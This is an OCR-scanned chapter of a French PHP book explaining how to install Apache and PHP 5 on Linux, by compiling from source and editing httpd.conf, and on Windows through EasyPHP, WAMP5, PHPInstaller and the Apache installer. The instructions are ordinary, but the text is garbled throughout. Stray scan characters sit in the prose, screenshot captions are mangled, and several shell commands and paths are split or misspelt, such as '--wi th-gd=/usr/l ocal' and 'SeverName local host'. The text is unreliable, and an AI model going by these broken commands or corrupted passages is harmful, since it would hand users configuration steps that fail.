Si vous utilisez les services d'un hebergeur Internet, vous pouvez eventuellement vous 
contenter de deposer vos scripts dans l'espace qui vous est reserve et voir le resultat obtenu. 
Mais il est bien plus pratique d'installer son propre serveur web sur sa machine, afin de tester 
ses scripts avant d'aller les deposer chez un hebergeur. 

Autrement dit, quels que soient les cas, vous serez amene a installer un serveur web supportant ^ 
PHP. D'ailleurs, vu la simplicite de l'operation, pourquoi s'en priver ? -o 

Si vous etes votre propre hebergeur, le chapitre Configuration vous permettra de personnaliser S 

les options autorisees. Dans le cas contraire, il est conseille de consulter ce chapitre qui vous £§ 

permettra (via un appel a phpinf o ( ) ) de mieux connaitre ce que permet votre hebergeur et ce 3 

qu'il interdit. ~ 

Enfin, ce chapitre vous presente quelques editeurs particulierement adaptes a PHP. 



2.1. Installation 

PHP est disponible pour differents serveurs et systemes d'exploitation. Dans ce chapitre, 
nous nous efforcerons de decrire au mieux l'installation de PHP sur les serveurs Apache, IIS, 
iPlanet, etc. 



Avec Apache 

PHP pour Apache est notamment disponible sous les environnements Linux/UNIX, Windows 
et Mac OS X. 



Apache 2 

~ Apache 2 est considere par ses developpeurs comme la version officielle du serveur 
REMARQJE web. Malheureusement, Apache2 n'est pas encore officiellement supporte par les 
developpeurs de PHP. Dans certains cas, la version 5 de PHP peut fonctionner avec 
Apache 2. Dans tons les cas, consultez la documentation officielle pour connaitre 
revolution de la compatibility : www.php.net/manuallfr/install.apache2.php. Nous pre- 
senterons done essentiellement l'installation avec la premiere version d' apache tout en 
indiquant les differences mineures pour une installation avec Apache2. 



Sous Linux/Unix 

Nous pouvons considerer qu'il existe trois grandes methodes d'installation de PHP dans un 
environnement Linux/UNIX. Cela peut ainsi se faire : 

En utilisant les scripts d'installation fournis avec les distributions (Linux notamment) ; 

■ En utilisant des kits d'installation disponibles sur Internet ; 

■ En faisant une installation "manuelle". 
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Utiliser les scripts d'installation de votre distribution est le moyen le plus stir et le plus rapide 
pour debuter avec PHP, mais passer par une installation "manuelle" vous permet de 
personnaliser au mieux votre serveur. 

Installation via la distribution Linux (ou UNIX) 

Lors de 1'installation du systeme d'exploitation, de nombreuses distributions offrent a leurs 
utilisateurs la possibilite d'installer un serveur Apache avec PHP et, bien souvent, MySQL, 
voire egalement d'autres bibliotheques. II suffit alors generalement de cocher une case ou deux. 
Certaines distributions proposent meme des versions dites "optimisees". 

Nous ne pouvons malheureusement pas toutes les detailler ici. Vous etes done convie a 
consulter la documentation fournie avec votre systeme d'exploitation. 

II est egalement possible d'installer cet ensemble Apache/PHP (et eventuellement MySQL) a 
posteriori, grace aux systemes des "packages" (parfois appeles paquetages) portant 
generalement l'extension .rpm. 

Installation via un kit 

Si votre distribution ne propose pas de quoi installer simplement PHP dans votre 
environnement, ou bien si elle ne propose pas de version recente des serveurs Apache et de 
PHP, vous pouvez utiliser un kit d'installation. 

II existe, par exemple, Apache Toolbox, que vous trouverez a l'adresse http://www.apachetoolbox 
.com (mais malheureusement en anglais). ApacheToolbox est un projet qui permet en effet 
d'installer et de mettre a jour tres facilement Apache, PHP (version 3 ou 4, au choix), MySQL, 
ZendOptimizer, OpenLDAP, ainsi que pres de cinquante modules pour Apache. 

Bien que les auteurs ne l'aient jamais essaye, sachez qu'il existe LinuxEasylnstaller, disponible 
a l'adresse http://www.phpmylinux.net/index.php3?rub=lei, qui installe Apache/PHP, MySQL et php- 
MyAdmin (scripts permettant 1'administration des bases de donnees via un navigateur). 

Installation manuelle 

L'installation manuelle est certainement la meilleure facon d'avoir exactement ce que Ton 
veut : Apache et PHP avec la base de donnees de son choix (PostgreSQL ou Oracle, par 
exemple) et pas necessairement MySQL, ainsi qu'avec les bibliotheques que Ton souhaite (au 
choix parmi celles presentees tout au long de ce livre) et pas seulement avec celles supportees 
par les kits d'installation (que ce soient ou non ceux des distributions). C'est egalement le plus 
sur moyen d'avoir la toute derniere version (chacun des elements etant librement 
telechargeable sur Internet). 

Bref, meme si ce n'est pas la fagon la plus simple d'installer PHP, elle reste celle que nous 
preconisons. Les autres methodes presentees precedemment sont toutefois fort pratiques pour 
debuter en PHP. 

Pre-requis 

II va de soi que, pour installer Apache manuellement, vous devez avoir une connaissance des 
bases de Linux (la notion de droit utilisateur) et des commandes elementaires que sont cp, cd 
ou is par exemple. Nous ne reviendrons pas sur l'utilisation du systeme Linux, et encore moins 
sur son installation. En revanche, vous trouverez d'excellentes documentations sur Internet ou 
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dans des livres. Ce message d'avertissement n'a pas pour objectif de vous decourager ou de vous 
effrayer devant cet excellent systeme d'exploitation qu'est Linux. Nous vous invitons 
simplement a prendre connaissance des bases avant de vous lancer plus avant dans ['installation 
d'Apache et de PHP. 

Installation 

La notice d'installation suivante fonctionne avec la plupart des distributions Linux (RedHat, 

Mandrake, SuSE, etc.). II peut neanmoins y avoir des differences d'arborescence, les ' 

differentes distributions n'ayant pas toujours la meme logique. Pour cela, reportez-vous au =. 

manuel de reference de votre systeme d'exploitation, qui doit vous fournir une description ™ 

detaillee de sa structure. II vous suffit alors de modifier les chemins donnes dans les lignes de = 

commande. Les grandes procedures, elles, restent inchangees. 3 

L'installation se realise en deux temps : 

1 . Dans un premier temps, vous devez installer les bibliotheques que vous souhaitez utiliser. 

2. Vous devez compiler PHP en tenant compte des bibliotheques precedemment installees, 
puis compiler Apache en integrant PHP. 




Suite de l'installation 

Une fois connecte et authentifie sur un systeme Linux, et pour que la suite de 



ATTENTION l'installation se deroule correctement, vous devez passer en mode super utilisateur 
(root). Pour cela, dans un shell, tapez simplement la commande "su -" suivie du 
mot de passe root quand le systeme vous le demande. 

Installation des bibliotheques 

Si vous ne savez pas encore quelles bibliotheques vous allez utiliser, vous pouvez vous contenter 
d'une installation de base (sans bibliotheque particuliere). 

Les procedures d'installation des bibliotheques sont decrites dans le chapitre traitant de la 
bibliotheque, mais, generalement, le principe est le suivant : 

il suffit de telecharger la derniere version de la bibliotheque sur Internet (ou d'utiliser celle 
disponible sur le CD-ROM), de copier l'archive (par exemple sous /usr/local/src), et de taper les 
commandes suivantes : 

# tar zxvf 1 ibrairie-version.tar.gz 

# cd 1 ibrairie-version 

# ./configure 

# make 

# make install 

Si vous rencontrez un probleme, pensez a consulter le fichier INSTALL (bien souvent en 
anglais) qui doit etre fourni avec l'archive d'installation. Vous y trouverez la documentation 
complete pour l'installation de la librairie, qui necessite peut-etre des parametres speciaux. 
Soyez egalement attentif au message d'erreur qui pourrait etre donne par le compilateur. II 
constitue generalement un excellent moyen de savoir ou se situe le probleme (dependances, 
version de compilateur trop ancienne, etc). Le fichier README (egalement en anglais, a moins 
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que vous trouviez un LISEZMOI) peut egalement contenir des informations utiles comme, par 
exemple, des incompatibilites temporaires. 

Compilation de PHP et Apache 

Vous devez, dans un premier temps, telecharger les dernieres versions d'Apache et de PHP (ou 
utiliser celles fournies sur le CD-ROM). 

Les sites officiels 

Apache : 

http://www.apache.org 

PHP: 

http://www.php.net 

Autant que possible, telechargez les sources au format .tar.gz qui seront utilisees dans la suite de 
notre explication. Cela vous permettra d'avoir des binaires optimises pour votre systeme. 

Allez dans le dossier contenant les archives que vous avez telechargees. Vous pouvez d'ores et 
deja passer en mode administrateur (root), puisque cela est generalement necessaire pour 
1'operation d'installation. Decompressez alors les deux archives (nous supposerons ici que les 
archives sont decompressees dans le meme repertoire). 

# tar zxvf apache_1.3.31.tar.gz 

Dans le cas d'apache 2, la commande devient tar zxvf httpd-2 . o . 50 . tar .gz. 

# tar zxvf php-5. 0.1. tar.gz 

Pour compiler PHP en tant que module APXS, vous devrez d'abord compiler Apache en vous 
assurant qu'il autorise le chargement des modules dynamiques. 

# cd httpd_X 

# ./configure --prefix=/usr/local /apache --enable-module=so 

# make 

# make install 

Apache est desormais installe sous /usr/local/apache. 
Reste a compiler le module APXS PHP. 

# cd .. 

# cd php-5. 0.1 

# rm config. cache 

La suppression du fichier config.cache est inutile lors de la premiere compilation (ce fichier 
n'existant pas), mais, par la suite, elle est quasiment indispensable si vous souhaitez etre sur de 
recompiler PHP avec les nouvelles options precisees. 

Vous pouvez alors passer a la configuration (preparation a la compilation de PHP). 

# ./configure --with-apxs=/usr/local/apache/bin/apxs <autres options> 



INTERNET 
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Dans le cas d'apache 2, la commande devient ./configure — with-apxs2 = /usr/ local/ 
apache/bin/apxs <autres options> 

II existe de nombreuses options de configuration consumables en tapant . /configure — help. 
Pour chaque bibliotheque presentee dans ce livre, l'option de configuration est indiquee (vous 
devrez sans doute en cumuler plusieurs). Ainsi, par exemple, la compilation de PHP avec mysqi 
et gd donnera : 

# ./configure --with-apxs=/usr/local/apache/bin/apxs --with-mysql=/usr/local/ 

s-= mysql --wi th-gd=/usr/l ocal --with-jpeg-dir=/usr/local --with-png-di r=/usr/ 5 
x local --wi th-zl i b-di r=/usr/l ocal «g 

CD 

II est a noter qu'il n'est pas obligatoire de preciser les chemins des bibliotheques, PHP 

s'assurant de retrouver la bibliotheque concernee Mais il est toutefois conseille de le faire afin ^ 

de s'assurer qu'il n'y ait pas de malentendu (en particulier sur la version a installer). = 

Vous pouvez ensuite passer a la compilation : 

# make 



Compilation sous Solaris 

Sous Solaris, vous devrez vous assurer de compiler PHP avec les outils GNU. En 
conseil d'autres tames, vous devrez installer le "package" binutils (disponible sur le site 
http:llwww.sunfreeware.com) et verifier que le make GNU est bien le premier trouve 
dans le path. 



§ make install 

Ca y est, PHP est compile et installe (un fichier libphp5.so a ete ajoute dans le repertoire libexec 
d'Apache). Reste a configurer PHP et Apache. Outre ce qui est decrit dans le paragraphe 
suivant, vous devrez consulter le fichier lusrllocall apache I conflhttpd.conf et verifier qu'il 
contient bien la ligne suivante (de preference juste apres les lignes correspondant a la meme 
directive). Au besoin, ajoutez la : 

LoadModule php5_module 1 i bexec/1 ibphp5.so 



REMARQUE 



Compilation de PHP integre a Apache 

II est egalement possible de compiler PHP au sein d'Apache (sans utiliser de 
module). Pour cela, la procedure devient : 

# cd apache_1.3.31 

# ./configure 

# cd .. 

# cd php-5.0.1 

# rm config. cache 

# ./configure --with-apache=. ./apache_1.3.31 <autres options> 

# make 

# make install 

# cd . ./apache_1.3.31 
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# ./configure --prefix=/usr/local /apache 
x --activate-module=src/modules/php5/l ibphp5.a 

# make 

# make install 

Dans ce cas, vous ne devrez pas ajouter ou devrez commenter la ligne : 
LoadModule php5_module 1 i bexec/1 ibphp5. so 

Reste a copier le fichier de configuration par defaut de PHP dans le repertoire ou il doit se 
trouver : 

# cd ../php-5.0.1 

# cp php.ini-dist /usr/local /l i b/php. ini 



REMARQUE 



, Les principales options de php.ini seront decrites dans le prochain chapitre. 
RENVOI 

Ensuite, editez le fichier /usr/local/apache/conf/httpd.conf a l'aide de Vi ou Emacs (selon votre 
appartenance), et ajoutez la ligne suivante afin que les fichiers portant les extensions indiquees 
soient interpretes par PHP : 

AddType appl ication/x-httpd-php . php . php5 .php4 .phtml 
AddType appl ication/x-httpd-php-source .phps 




Pour voir la vie en rose ( ou bleu, ou jaune, ou rouge. . .) 

Si vous donnez une extension .phps a vos scripts, alors ceux-ci ne seront pas 
REMARQUE interpretes, mais le code source sera affiche et colorise, ce qui pent parfois permettre 
de voir comment PHP V analyse (et ainsi detecter des parse error). 



II est aussi preferable de modifier l'instruction suivante : 
Di rectory Index index.html 



en : 



Di rectory Index index.html index. php index. php5 index. php4 

Cette instruction permet de forcer la page index que le navigateur doit afficher si l'URL 
demandee est incomplete. Avec la ligne precedente, le serveur ira chercher dans le repertoire 
precise le fichier index.html et, s'il ne le trouve pas, index.php, etc. Ainsi, appeler la page 
http://localhost/ renvoie la page se trouvant a l'URL hltp://localhost/index.html, si celle-ci existe. 

Pensez egalement, si ce n'est deja fait, a decommenter ou ajouter une ligne 

ServerName <nom de votre machine> 

Vous pouvez par exemple indiquer : 



SeverName local host 
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A present, lancez le serveur Apache : 

/usr/local /apache/bin/httpd start 

Pour l'arreter, vous n'aurez qu'a taper la commande : 

/usr/local /apache/bin/httpd stop 

Si vous n 

Vous pouvez maintenant creer votre premiere page web. Editez la page /usr/local/apache/ 
htdocs/index.php et inserez-y ces quelques lignes : 

<?php 
phpinfo() ; 

?> 



Vous n'avez plus qu'a appeler la page depuis votre navigateur en entrant l'adresse 
http://localhosVindex.php. 



'H phpinfoQ - Microsoft Internet Explorer 



- □ X 





Fichier Edition Affichage Favoris 


Outils ? 








PHP Version 5.0.1 










System 


Windows NTWINXP 5.1 build 2600 




Build Date 


Aug 1 2 2004 23:30:01 




Configure Command 


cscript/nologo configure.js "--with-gd-share 
build" 




Server API 


Apache 




virtual Directory Support 


enabled 




Configuration File (phpjni) Path 


c:\warnp\apache\php.ini 




PHP API 


20031224 




PHP Extension 


20040412 




Zend Extension 


220040412 




Debug Build 


no 




Thread Safety 


enabled 




IPv6 Support 


enabled 









l<l 



H 



> 



Figure 2.1 : 

Voila votre page 
interpretee en PHP 



Sous Windows 

Tout comme pour Linux, l'installation sous Windows pourra se faire de deux facons 
differentes : en cliquant ou en compliant. II existe desormais de nombreuses solutions "tout en 
un" qui vous permettent d'installer Apache et PHP sur un systeme Windows sans avoir a faire 
de fastidieuses manipulations. De plus, ce type d'installation ne necessite qu'un minimum de 
temps et de connaissances techniques. Si ces programmes ont pour eux la simplicite et la 
rapidite, ils ont aussi les defauts evidents de leurs avantages : installation non transparente et 
pas toujours personnalisable a souhait. II faut parfois egalement aller ajouter "manuellement" 
des bibliotheques. 
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Installer PHP5 pour Apache 2 

Si vous souhaitez installer PHP 5 etApache2, vous devrez telecharger Varchive zippee 
de PHP5. L 'installeur automatique ne vous fournira pas tous les fichiers requis pour 
que PHP5 fonctionne avec Apache2. 



Installation automatique 

EasyPHP 

EasyPHP est un programme bien pratique, qui permet d'installer Apache, PHP, MySQL et 
PhpMy Admin en quelques clics de souris. II y a environ une nouvelle mouture chaque annee. 

Pour debuter ['installation, lancez l'executable EasyPHPl-7_setup.exe present sur le CD-ROM. 
Cela installera Apache 1.3.27, PHP 4.3.3, MySQL 4.0.15 et Phpmyadmin 2.5.3. Vous pouvez 
egalement vous rendre sur le site d'EasyPHP pour verifier si une version plus recente est disponible 
(www.easyphp.org). Si c'est le cas, il est vivement conseille d'utiliser le produit le plus recent. 



■/S Setup EasyPHP 1.7 




Welcome to the EasyPHP 1 .7 Setup 
Wizard 

[his will install EasyPHP 17 on your computer. 

snded that you close all other applications before 



EasyPHP install© et configure autorriatiquemeni un 
erivii'onnement de travail cornplet peirneltanl de mettre en 
oeuvre touts la puissance et la souplesse qu'otfrert le langage 
dynamique PHP et son support eflicace des bases de donnees. 
EasyPHP regroupe un servsui ftpaehe, une base de donnee 
MySQL, le langage PHP ainsi que des outils facilitant le 
develop pern en! de vos sites ou de vcs ippiio^rioii^. 



Click Hut': to continue, or Cancel to exit ielup. 



| About. " ] 



Figure 2.2 : 

Debut de V installation 
d'EasyPHP 



Quoi qu'il en soit, l'installation n'est en rien hors du commun, et se deroule sans difficulte 
particuliere. Une fois l'operation menee a terme, le programme d'installation vous propose de 
vous rendre sur la page d'accueil d'EasyPHP. 




Completing the EasyPHP 1 .7 Setup 
Wizard 



Setup has finished installing EasyPHP 1.7 on your computer. 
The application rnaii be launched by selecting the installed 



Figure 2.3 : 

Fin de l'installation 
d'EasyPHP 



Installation 



Ne changez rien, puis cliquez sur Terminer (enfin... Finish si comme dans votre environnement 
vous avez un texte mi-anglais mi-francais) Et voila, c'est fini. Un navigateur s'ouvre alors pour 
vous presenter la page d'accueil d'EasyPHP. 

Si le logiciel ne se lance pas automatiquement, dans le menu Demarrer, cliquez sur Tous les 
programmes, puis sur EasyPHP 1. 7 et, enfin, sur EasyPHP. Le programme va alors demarrer. 



mamm 



Fichier Edition Affichage Favoris Outils 



Introduction Support Faq PHP 



Q Pourfaciiitei 
que les elerne 



:r son telecharcjement et sa distribution, EasyPHP n'integre 
?nts indispensables d'Apache, PHP et MySQL, 



Avant d'ouvrir l"Administration" ou le"Web local", verifier qu'easyphp.ejie estlance (es.; 
Demarrer>Programmes>EasyPHP>EasyPHP) et que les serveurs fonctionnent fdouble-cliquer 
sur I'icone d'EasyPHP a cote de I'horloge [1] : les status d'Apache et de MySQL doivent etre au 
vert). 



Faire un die droit sur I'icone d'EasyPHP [1] et selection tier "Administration"[2]. Cette page 
vous pen-net entre autre de gerervos bases de donnees et d'administrervos alias. 



Faire un die droit surricQne d'EasyPHP [1] etsele;c.tiDnn.er l, Wet) local" [2] afin de visualiser 

; i. t.iri . ■ 1 lr.tr->-. '. 1i->i. i L 1 : I II "■ 



easyphp 1 .7 : apache 1.3.27 - php +.3.3- rnysql 4.0.15- phprnyadmin 2.S.3 
le site d'easyphp : w-AW.easyphp.org 
le site d'easyphp : www.easyphp.org 




l\3 
T3 



00 
CD 



3 



> 



9 Poste de tr= 



Figure 2.4 : Page d'accueil d'EasyPHP 



g Figure 2.5 



La page d'accueil d'EasyPHP presente plusieurs 

choses fort utiles : une introduction a EasyPHP en ih Element de la barre 
local et des liens vers le support en ligne. Vous destaches 
pouvez egalement acceder a cette page en cliquant 
droit sur le "E" qui a ete ajoute a la barre des taches 
(deja certainement bien assez chargee a votre gout). 

Ce E vous permettra d'acceder aux principales fonctions relatives a l'administration d'un 
serveur web. 

Dans le menu contextuel qui s'ouvre alors, il suffit de choisir Web local, mais, pour le moment, 
cliquez plutot sur Administration. Cette option vous permet d'acceder a une configuration 
centralisee de certains des programmes que vous venez d'installer. 
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3 [EasyPHP] - Administration - Microsoft Internet Explorer 




(I 




Fichier Edition Affichage Favoris Qutils ? 






* 


Precedents T Q Rechercher 's^ Favoris 


^Media 0' ^ M 






Adresse ^ http;//127,0,0,l/home/ 


v 0OK 


Liens 


iff * 



M_pfF 



l=lDM IN ISTRflTION 

Vos alias: Ea ... I aiouler l 

Donnees MySQL (datadir) : repertoire actuel : "CAProgram Files\EasyPHPtonysqkdata " f modifier 1 

Administrez vos bases tie donnees : 

Cliquez sur le bouton ci-dessous pour acceder a I 'administration des bases de donnees. 

umm-mm 

Environnement EasyPHP : 

Ces pages vous informeront sur le bon fonctionnement de PHP, sa configuration et sur les elements installes. 

n.w.u.1.1.1 isgaiHEng BEmwm ™ 

Bienvenue dans votre environnement EasyPHP. 

Si vous voyez cette phrase, PHP fonctionne. Pour verifier le fonclionnement de MySQL, vous pouvez acceder au centre 
d'administration : "PhpMyAdmin". 

Si vous rencontrez des problemes, reportezvous au site d'EasyPHP : www.easyphp.Qra 




Figure 2.6 : La page d'administration d'EasyPHP 



II vous est alors possible (par exemple) de verifier puis de changer le mot de passe d'acces a 
MySQL depuis le compte "root". 

Dans la section Environnement EasyPHP, cliquez sur le bouton Parametres. La page se 
rafraichit pour vous donner les informations relatives aux parametres de connexion par defaut 
attribues a votre serveur MySQL. Vous devez lire quelque chose comme ceci : 

Parametres par defaut de la base de donnees : 
serveur : "local host" 
username : "root" 
mot de passe : "" 

Pour le serveur "locaihost", l'utilisateur "root" (celui qui a tous les droits) n'a pas de mot de 
passe ; il peut se connecter sans meme avoir a s'identifier. II peut done etre important de 
corriger cela (si plusieurs personnes ont acces a votre machine). Toujours sur la meme page, 
cliquez sur PhpMyAdmin dans la section Administrez vos bases de donnees. Vous devez voir 
s'afficher la page d'accueil de PhpMyAdmin dans un nouveau navigateur. Pour plus 
d'informations, vous pouvez vous reporter a la partie des annexes traitant de PhpMyAdmin. 
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Accueil 

1- zi 

Choisisses une 
base de donnees 


Bierwenue a phpMyAdmin 2.2.6 

MySQL 3.23.49-rnax-nt sur le serveur localhost - utilisateur : root@lotalhost 
MySQL phpMyAdmin 


i Creer une base de donnees 


Documentation] . lanauaae- 1 French (fr) H 




Creer | 

r- Documentation de phpMyAdmin 

r- Afficher I'etat du serveur MySQL [Documentation] r- Afficher les informations relatives a PHP 

r- Afficher les variables du serveur MySQL [Documentation] r- Site officiel de phpNyAdmin 

r- Afficher les processus [Documentation] [ChangeLeg] [CVS] [Lists] 

r- Recharger MySQL [Documentation] 

i Utilisateurs et privileges [Documentation] 

i Stafistiques sur les bases de donnees 



Figure 2.7 : PhpMyAdmin 



Dans la partie gauche de la page, vous devez trouver, sous la mention Accueil, un menu 
deroulant des differentes bases de donnees presentes sur le systeme. La partie qui nous 
interesse se trouve sur la partie droite de la page. On peut voir deux colonnes : une premiere qui 
propose des liens en rapport avec MySQL, et une seconde qui concerne PhpMyAdmin. Dans la 
colonne MySQL, cliquez sur le lien Utilisateurs et privileges. La nouvelle page qui s'affiche 
presente alors un tableau recapitulatif des utilisateurs ayant un acces au serveur, un resume de 
leurs privileges, ainsi que diverses options concernant les utilisateurs. Sur la ligne de 
l'utilisateur "root", cliquez sur le lien Modifier. La page se recharge. Certains des champs ont 
ete pre-remplis. Verifiez que le champ "Utilisateur" contienne bien "root", puis donnez par deux 
fois le mot de passe que vous souhaitez voir utilise pour cet utilisateur. Cliquez enfin sur 
Executer. Voila. N'oubliez pas de noter le mot de passe de l'utilisateur "root". 

N'oubliez pas de lancer EasyPHP lorsque vous voulez utiliser Apache ou MySQL. 

Autre interet d'EasyPHP : il peut servir de base de depart. Rien ne vous empeche, sans avoir a 
tout reinstaller, de mettre a jour certains des programmes mis a disposition par EasyPHP. Cela 
se fera, certes, au prix de quelques manipulations. PHP lui-meme pourra, par exemple, etre mis 
a jour facilement grace a PHPInstaller. 



REMARQUE 



WAMP5 : pour installer PHP5, MySQL4 et Apache 2 

WAMP5 est un systeme similaire a EasyPHP quipermet d' installer PHP 5 et MySQL 
4.0.18 automatiquement. Apache2, lui, est disponible sous forme d' add-on. Vous 
pouvez trouver WAMP5 a cette adresse : www.wampserver.com. Attention toutefois : si 
vous avez deja ins talle Apache 2 ou PHP5, ilfaudra les desinstaller sans quoi il risque 
d'y avoir un confl.it avec les versions installees par WAMP5. 



PHPInstaller : mettre PHP a jour facilement 

PHPInstaller est un programme du groupe PHP (http://www.php.net), qui vous permet d'installer 
PHP sur votre systeme. II est pratique a plus d'un titre. Si vous disposez deja d'un serveur web 
sur votre machine, il lui est possible de configurer lui-meme ce serveur. Malheureusement, le 
programme de configuration automatique n'existe pas encore pour tous les serveurs web, et il 
faudra done mettre la main a la pate dans certains cas (Apache, tout particulierement). PH- 
PInstaller est done plutot a reserver pour une premiere installation avec un serveur IIS ou dans 
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les autres cas, pour une mise a jour. Ceci constitue un moyen simple et rapide de suivre au plus 
pres revolution de PHP. 

Pour commencer, lancez l'executable php-5.0J-installer.exe present sur le CD-ROM. 

Figure 2.8 : 

Page d'accueil de 




Welcome to PHP 5.0.1 Setup program. This 
program will install PHP 5.0.1 on your computer. 



You may need to stop your web server before installation. IIS 
and PWS do not need to be stopped. 



Click Cancel to quit Setup and then stop your web server if 
necessary. Click Next to continue with the Setup program . 



WARNING: This program is protected by copyright law and 
international treaties. 



Installer version number 2.0.3 



PHPInstaller 



Une fois passee la page d'accueil et celle concernant la licence, PHPInstaller va vous proposer 
deux types d'installation. 



Si Installation Type 




Please select the type of installation you require. 



Figure 2.9 : 

Choix du type 
d'installation 



Nous allons decrire ['installation avancee, l'installation standard n'etant pas assez complete 
pour garantir un minimum de personnalisation. Une fois le processus demarre, repondez aux 
questions que vous pose 1'Assistant. Choisissez un repertoire d'installation, puis acceptez la 
sauvegarde des fichiers deja presents sur le systeme, comme vous le propose PHPInstaller. 



Installation 



Choose Destination Location 




Setup will install PHP 5.0.1 in the following folder. 



o install into a different folder , click Browse, and select 
another folder. 



You can choose not to install PHP 5.0.1 by clicking Cancel to 
exit Setup. 



- Q@$ifiation Folder 
C:\PHP 



Figure 2.10 : 

Repertoire 
d "installation 



Les options qui arrivent maintenant sont propres au PHP. Vous devez dormer un repertoire 
temporaire qui servira pour les fichiers en attente de publication ('files upload") ainsi qu'un 
repertoire de stockage pour les fichiers de sessions. Ensuite, lorsque la fonction mail ( ) sera 
utilisee, vous devrez specifier 1'adresse qui sera utilisee pour le champ "de" ("from"). 




Please enter trie address of your SMTP server. 
smtp.rnonsite.com 



Please entei the 'from' adore::-; for the mail function. 



|rnoi@rnonsit4 com 



Figure 2.11 : 

Configuration du mail 



Vous pouvez ensuite choisir le niveau de rapport d'erreur. Votre chofx sera guide par 
^utilisation que vous comptez faire du serveur sur lequel vous etes en train d'installer PHP. S'il 
a pour vocation de devenir un serveur de test, vous choisirez l'affichage maximal, cela afin de 
cerner au mieux les erreurs et dysfonctionnements. En revanche, si vous installez PHP sur une 
machine qui hebergera un site professionnel destine au grand public, choisissez le plus bas 
niveau d'affichage. Les visiteurs ne sont pas concernes par ces questions de programmation, et 
il n'est pas necessaire de faciliter la tache a d'eventuels pirates qui sauraient alors directement 
ou aller fouiller... 

Ensuite, choisissez le serveur HTTP sur lequel vous etes en train d'installer PHP : Microsoft 
PWS, IIS 3 ou 4, Apache ou Xitami. 
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Server Type 




the type of hltp saver yau wish to configure to 

FV/S on Windows 9x or ME 
PWS on NT Workstation 
IIS 3 or lower 
IIS 4 or higher 
IIS 6 or higher 



other server]- 1 will configure (he web server manually 



\ s 



< Back f 'NsHl; ~j 



igure 2.12 : 

Selection du serveur 
Web 



Si le serveur que vous utilisez ne se situe pas dans cette liste, vous devrez alors passer par la case 
"configuration a la main post-installation" (vous pouvez d'ailleurs utiliser les differentes 
methodes presentees dans ce livre). 

Enfin, choisissez les extensions qui devront etre interpreters comme etant de PHP. Cette 
derniere etape passee, PHPInstaller passe a l'installation des composants de PHP sur votre 
machine. Si vous disposiez deja de PHP sur votre machine, le programme vous demandera si 
vous souhaitez ou non conserver votre ancien php.ini. Cela peut s'averer tres interessant si vous 
aviez personnalise votre fichier php.ini. 



Installation complete 



PHP 5.0.1 has been successfully installed 

Press the OK button to exit this installation. 

NT users may need to set appropriate 
permissions for the various php files and 
directories. Usually IUSR_MachineName (or 
the user your web server runs as) will need 
read access to php.ini, read write access to 
the uploadtmp and session directories, and 
enecute access For php-coiexe and php5ts.dll. 



Figure 2.13 : 

Voila, c'estfini ! 



Et voila, c'est fait. 



REMARQUE 



Mise d jour de PHP pour une installation d'EasyPHP 

Dans le cas d'une mise a niveau de PHP pour un systeme sur lequel avait ete installe 
EasyPHP, il faudra jongler un peu avec le fichier php.ini. EasyPHP installe PHP 
dans un repertoire qui lui est propre. Si vous desirez conserver la configuration 
d'EasyPHP, ce qui est recommande, vous devrez editer le fichier php.ini situe a la 
racine de votre dossier Windows pour lui donner les bons chemins pointant vers les 
differents composants de PHP (php.exe, dossier des extensions, etc.). 



Installation personnalisee 

Vous pouvez choisir d'installer les differents elements de la configuration un par un, grace a des 
solutions plus ou moins automatisees. Voici comment proceder. 



Installation 



Installer Apache 

II existe des programmes qui vous permettent d'installer facilement la derniere version 
d'Apache sur votre machine. Telechargez l'un de ces programmes, de preference depuis l'un 
des miroirs du site Apache (http://mir2.ovh.net/ftp.apache.org/dist/httpd/binaries/win32/). Vous pouvez 
choisir entre un installateur automatique en .exe ou en .msi (Microsoft Installer). Si vous optez 
pour la version en .msi, assurez-vous que vous disposez bien de l'installateur Windows. Pour 
verifier, dans le menu Demarrer, puis dans Executer, tapez la commande msiexec. II vous faut 
au minimum la version 1 . 10. 1029. 1 . Si vous ne disposez pas de la version appropriee, telechargez 
le programme depuis l'une de ces adresses, en fonction de votre plateforme : 

Windows NT 4.0 : www.microsott.com/downloads/release. asp?ReleaselD=17344 
Windows 95 et 98 : www.microsoft.com/downloads/release. asp?ReleaselD=17343 



r-o 

T3 



V) 
CD 



3 



Une fois que vous avez telecharge le programme d'installation d Apache, lancez-le. 

Igl Figure 2.14 : 



Apache HTTP Server - Installation Wizard 




Welcome to the Installation Wizard for 
Apache HTTP Server 1.3.31 



["he Installation Wizard will install Apache HTTP Server 1.3,31 
on your computer , To continue, click. Next , 



WARNING: Ihis program is pro be: ted by copyright .aw and 
international treaties. 



Fenetre d'accueil 



Acceptez la licence du programme, puis cliquez sur OK jusqu'a ce que vous arriviez sur la page 
qui vous pose quelques questions relatives a la configuration du serveur. 



1^ Apache HTTP Server - Installation Wizard 



Server Information 

Please enter your server's information. 



Network Domain (e,c. somenet . earn j 



rtiorisite , corn 

Server Name (e.g. www, somenet.com): 



www.mon5ite.com 



Administrator's Email Address (e.g. webmasteri®somenet.com): 



Install Apache HTTP Server programs and shortcuts to: 

Run as a service for All Users -- Recommended 
Run when started manually, only for ne (...) 



Figure 2.15 : 

Parametrage minimal 
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Remplissez les champs Network Domain (nom du domaine pour lequel le serveur est installe), 
Server Name (nom du serveur web qui va etre installe), et donnez l'adresse e-mail de 
1'administrateur. Choisissez ensuite si Apache doit etre installe comme un service utilisable 
pour tous les utilisateurs, ou s'il doit etre lance manuellement par un utilisateur donne. 



? Apache HTTP Server - Installation Wizard 



Setup Type 

Choose the setup type that best suits your needs. 



Please select a setup type. 



©Complete 



O Custom 



All program features will be installed. (Requires the most disk 
space,) 



Choose which program features you want: installed and where they 
will be installed. Recommended for advanced users, 



Figure 2.16 : 

Choixdu type 
d 'installation 



InstallShield 

<Back || Next > | | Cancel 



A vous de faire votre choix selon les besoins du serveur que vous mettez en place. Donnez 
ensuite le chemin d'installation pour que le processus puisse arriver a terme. 



? Apache HTTP Server - Installation Wizard 




Installation Wizard Completed 



The Installation Wizard has successfully installed Apache HTTP 
Server i .3.3: . Click Finish to exit the wizard. 



Figure 2.17 : 

Fin de V installation 



Par la suite, vous pourrez reutiliser cet installateur pour reparer votre serveur web Apache si 
vous l'avez mis a mal avec de trop nombreux tests. II vous suffit de relancer l'installateur pour 
qu'il vous propose soit de supprimer Apache, soit de le reparer. 




Ruse de sioux 

Si vous installez Apache pour faire des tests sur votre machine personnelle, void 
comment renseigner les champs de l'installateur Apache a I'etape Server Information. 



CONSEIL 



Network Domain : localdomain ; 
Server Name : localhost.localdomain ; 



Installation 



Administrator's Email Address : voire adresse e-mail. 



CONSEiL 



